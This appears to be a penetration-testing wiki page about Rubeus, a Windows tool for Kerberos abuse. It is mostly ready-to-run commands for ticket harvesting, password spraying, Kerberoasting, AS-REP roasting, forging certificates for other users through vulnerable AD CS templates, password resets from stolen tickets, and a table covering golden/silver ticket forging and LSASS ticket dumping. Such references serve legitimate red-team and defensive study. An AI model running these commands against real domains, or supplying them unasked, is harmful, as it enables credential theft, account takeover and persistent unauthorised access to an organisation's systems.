Rubeus

Rubeus is a C# toolset for raw Kerberos interaction and abuse, by harmj0y / GhostPack. Heavily adapted from Benjamin Delpy’s kekeo and Vincent Le Toux’s MakeMeEnterpriseAdmin; PKINIT code derives from Steve Syfuhs’ Kerberos.NET (“Bruce”). Windows-only; no official compiled binaries (build from source — Kali’s windows-binaries package does not include it). Linux/remote counterpart: impacket.

Opsec: Rubeus must run on a domain-joined (or domain-network-visible) Windows box. If the attacking host isn’t joined, map the DC/KDC in C:\\Windows\\System32\\drivers\\etc\\hosts so Kerberos traffic routes correctly.

Ticket harvesting

# Harvest TGTs (and service tickets) observed by the current machine,
# re-checking every 30s. Most useful on busy servers / DCs.
Rubeus.exe harvest /interval:30

Password spraying

# Spray one password across all users; /noticket avoids requesting TGTs
# for hits (quieter). CAN trigger account lockouts — mind the policy.
Rubeus.exe brute /password:$PASSWORD /noticket

Kerberoasting

Rubeus.exe kerberoast                       # all roastable accounts
Rubeus.exe kerberoast /rc4                  # RC4-downgraded tickets only
Rubeus.exe kerberoast /user:svc-sql /outfile:hashes.txt

Crack output with Hashcat mode 13100. Full technique: kerberoasting.

AS-REP roasting

Rubeus.exe asreproast

Rubeus output needs $krb5asrep$ → $krb5asrep$23$ before Hashcat mode 18200 will accept it. Full technique: as-rep-roasting.

Ticket requests with certificates (AD CS / PKINIT)

Pairs with Certify when AD CS misconfigurations (SpecterOps’ “Certified Pre-Owned” research, ESC1-ESC8) let you mint a certificate for another user:

# On the target: find + abuse a vulnerable template
Certify.exe find /vulnerable
Certify.exe request /ca:$CA /template:$TEMPLATE /altname:$TARGET_USER

Convert the returned PEM to PFX (on any box):

openssl pkcs12 -in cert.pem -keyex \
    -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
    -export -out cert.pfx

Then trade the certificate for a TGT:

Rubeus.exe asktgt /user:$USER /certificate:cert.pfx \
    /password:$PFX_PASSWORD /enctype:aes256 \
    /outfile:ticket.kirbi /domain:$DOMAIN /dc:$DC_IP

PKINIT auth also yields the account’s NT hash via asktgt /getcredentials — certificate-based persistence that survives password resets.

Password changes from a ticket

# Change a domain user's password using a TGT for an account with
# permission (the user themselves, or an admin).
Rubeus.exe changepw /ticket:$TICKET_KIRBI /new:$NEW_PASSWORD \
    /dc:$DC_IP /targetuser:${DOMAIN}\\\\${USER}

Other core commands

Command	Purpose
asktgt	Request a TGT from password / hash / certificate (over-pass-the-hash)
asktgs	Request service tickets against a supplied TGT
ptt	Pass-the-ticket: import a .kirbi into the current logon session
renew	Renew (or renew+forge via /autorenew) tickets
golden / silver	Forge TGTs / service tickets from stolen keys — see golden-and-silver-ticket-attacks
s4u	S4U2self/S4U2proxy abuse (constrained & resource-based delegation)
tgtdeleg	Extract a usable TGT via the SSPI/GSS-API delegation trick (no admin)
monitor/harvest	Watch for and capture 4624 logon events’ tickets
dump	Extract tickets from LSASS (with luid/service filters)
klist/purge/describe	Manage and inspect the local ticket cache

Related

• kerberos — protocol hub and attack-surface map
• golden-and-silver-ticket-attacks — golden/silver commands
• impacket — the Linux-side equivalent toolkit

Sources

• GhostPack Rubeus — asreproast
• kekeo
• Certify
• 2021 — Certified Pre-Owned
• Rubeus — MITRE ATT&CK S1071